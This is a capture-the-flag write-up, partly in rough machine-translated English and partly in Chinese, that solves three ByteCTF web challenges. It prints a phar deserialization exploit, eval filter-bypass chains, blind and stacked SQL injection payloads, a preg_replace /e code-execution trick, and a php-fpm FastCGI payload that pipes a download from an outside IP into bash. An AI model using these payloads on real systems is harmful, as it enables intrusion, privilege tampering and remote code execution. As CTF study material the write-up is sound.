Bytectf- few web summary

1.EZcms

This question is very clear ideas, to the source code, test center is the md5 hash extension + phar deserialization

This question is generated in the first directory file upload invalid .htaccess, making it impossible to perform the upload webshell, so we need to think of ways to delete the .htaccess

Here the main point recording using built-in class php file operations,

exp is:

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct() {
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct() {
        $this->admin = new ZipArchive;
        $this->username = '/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering ();

Deserialized by the File class to invoke the function upload_file Profile class, in which case the method call trigger Profile class,

 

 

 

Here the actual call to the open method, in fact, Profile class do not have this method, so go find a built-in class, and admin controlled as any built-in classes, used here Archive :: open method to cover the write file, of course, is a primary problem knowledge point where the record about how to find it, fuzz code is as follows:

<?php
echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){

  $arr_func=get_class_methods($class);
  echo $class."\n";
  var_dump($arr_func);
}

 

 The method can be obtained when all the built-in class corresponding php by get_declared_classes get_class_methods and methods, this time as long as a simple string matching to find the desired function of the same name, after the encounter need to use method of the same name also built-in class It enables fast fuzz

<?php
#echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){

  $arr_func=get_class_methods($class);
  foreach($arr_func as $func){
        if($func=="open"){
        echo $class." ".$func."\n";
}
}
}

 

 

 

 Wherein the open function to specify the cover mode, when the first parameter is the name of the file to be deleted, this time to meet the deletion of .htaccess files, file phar subsequent operation that is uploading, using the suctf

php://filter/resource=phar://来进行phar反序列化,这里上传shell时会对内容过滤一些常见关键字:

 使用php字符串连接.点绕过即可

2.Boring code

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

取$url下的内容传入eval执行,这里过滤了data协议,否则可以通过

data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

来绕过preg_match的检查,这里目前我知道有三种解决方法:

1.可以直接购买一个xxxxxbaidu.com的域名

2.或者利用百度的url跳转

3.利用百度云自动生成的链接

 

 这里将直接显示文件完整的链接,此时在php中使用file_get_contents试试:

 此时能够直接对远程文件内容进行获取,也满足了题目baidu.com的条件的限制,此时第一层preg已经可以绕过,

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) 

这里用到了递归匹配,即最终匹配到的函数调用格式只能是a(b(c())),并且是无参数的

https://zh.functions-online.com/preg_replace.html

 

 

又因为题目的flag已经提示在../index.php,所以要读到这个文件:

readfile(end(scandir('.')));

以上一段代码会返回当前文件夹的最后一个文件

而当前正则不能使用.点,所以要构造出一个.点,

关键函数1:

localeconv,函数返回一包含本地数字及货币格式信息的数组。

 

 

 结合pos函数或者current函数获取数组中的指定元素,默认是第一个元素,当然可以结合next函数返回第二个元素;

 

 因为此时要跨目录,所以需要chdir切换一下目录

 此时可以使用chdir切换目录,但是chdir返回值为1或者0,不能够返回一个.点,因此使用localtime()+time()函数结合起来可以返回1个int数组,此时使用pos()函数获取第一个元素

即为当前秒数,那么当为每分钟46秒时将结合chr函数返回.点。

 

 

 所以此时payload已经很明确,为:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

此时只要将payload放到百度云盘上,并获取此链接,然后再burp重复发包即可,这里也可以使用如下的payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

利用if(1),从而来执行readfile()函数

3.BabyBlog

 这道题主要是二次注入,这里主要漏洞点在$content,这里直接使用addslashes进行一个转义

 而在edit.php中,这里直接将存进库中的title数据查出来并拼接到update语句中,所以这里明显存在二次注入,脏数据没有进行过滤,只是进行了入库前的转义,从而导致漏洞的产生,这里引入了config.php来对get和post的参数进行了检测

 注入点在此,并且在replace.php中,这里可以拼接preg_match,并且php的版本为5.3.29,php版本5.4以下都存在%00截断问题,以及结合/e选项进行代码执行

 

 这里$_POST['find']=.*/e%00  $_POST['replace']=phpinfo(); 

preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']

就能够执行phpinfo();

 而在register.php中,我们已经知道此时注册的用户默认isvip等于0,那么只有通过注入来实现让isvip为1,那么有两种方法:

1.通过注入来找到数据库中已经存在的isvip为1的用户;

2.通过注入来将当前我们注册的用户的isvip字段更新为1;

 

第一种方法:

第一种方法,貌似不是出题人的主要考点,初始数据库中没有任何用户,第二种方法我觉得才是预期做法,利用PDO在php5.3以后是支持堆叠查询,从而更新当前用户的is_vip字段

首先注册一个用户,此时可以看到isvip为0,在writing.php页面,因为已经知道注入点在title字段,所以我们此时提交注入的payload,当然在这里本地肯定一定要测试一下payload,能否通过waf检测

<?php
$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'root', 'root') or die("SQL Server Down T.T");
function SafeFilter(&$arr){
        foreach ($arr as $key => $value) {
                if (!is_array($value)){
                        $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
                        if(preg_match('/' . $filter . '/is',$value)){
                      echo  preg_replace('/'.$filter.'/is',"@@@",$value);
                        echo "123";
                        }
else{
echo "321";
}
                }else{
                        SafeFilter($arr[$key]);
                }
        }
}
$_GET && SafeFilter($_GET);

 本地测试payload:

1' ^ (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1) ^'1

此时select a from b这种形式被过滤了

但是可以用select(a)from b

 

 

 

 综上payload可以更换为:

1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1)  ^ '1

此时我们可以测试一下:

 

 当提交如上payload,即取所有表名连接起来的第一位ascii大于1,此时update的where拼接应该是:

where title='1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1)  ^ '1'

 

 此时更新这条blog的title为12345

 

 此时我们对应的id的title和content将被更新为12345,默认为最新的一条blog,因为此时where条件为1

那么另一种逻辑为:

1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200)  ^ '1

 

 此时edit更新其值是不能成功的,因为where条件为0

 

 当然在命令行下也是可以验证这种逻辑的,因此基于这种逻辑就能够依次暴库、表、字段,所以编写脚本时只需要注意两点:

1.在writing.php写payload

2.在edit.php更新blog,因为需要更新最新的一条为含有payload的blog,而每条blog有对应的id,因此需要正则匹配所有的id号并取列表第一个即为最新的id,此时更改此条id的blog,若当前查的数据ascii为10,payload为<10,则更新成功,依次增大payload中ascii码,直到更新失败,此时ascii-1即为当前查的数据的ascii码值

基于以上两条即可得到isvip为1的用户的账号和密码,前提是别人已经更新成功isvip为1的用户。

第二种方法

第二种采用堆叠注入的形式,直接update当前用户为isvip为1

 payload为:

tr1ple';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d22747231706c65223b;PREPARE sql FROM @SQL;EXECUTE sql;# 

这样就能更新tr1ple用户的isvip为1

 

 

 并且此时本地测试payload是可以通过的

 

 

 此时回到数据库中可以看到此时isvip已经为1,那么此时就可以进行第二步了,结合preg_match的%00截断正则匹配表达式,并且此时配合/e参数来进行rce

 

 

 后面就是常规的套路,绕过openbase_dir和绕过disable_function

<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

此时可以用以上代码进行bypass列文件,可以在根目录发现readflag,一般来说肯定要调用readflag来读取flag,所以此时要执行readflag,没有禁用error_log,因此可以使用putenv+error_log来进行bypass diable_function,当然这道题也可以用打php-fpm来绕过openbase_dir和disable_function

$fp = stream_socket_client("套接字地址", $errno, $errstr,30);
$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");
stream_socket_sendto($fp,$out);
while (!feof($fp))
{echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);

这里可以直接与目标unix 套接字进行通信,其中变量$out即为发送到目标套接字的地址,payload可以根据p牛的python脚本进行更改,改为只输入payload不发出payload,此时再通过此执行此php文件来

php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = tr1ple.so\nauto_prepen_file=php://input

这样我们就可以上传该exp文件,并且上传so文件到tmp目录,然后打php-fpm,只需要php://input中结putenv+errorlog即可进行rce

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Guess you like

Origin www.cnblogs.com/wfzWebSecuity/p/11527392.html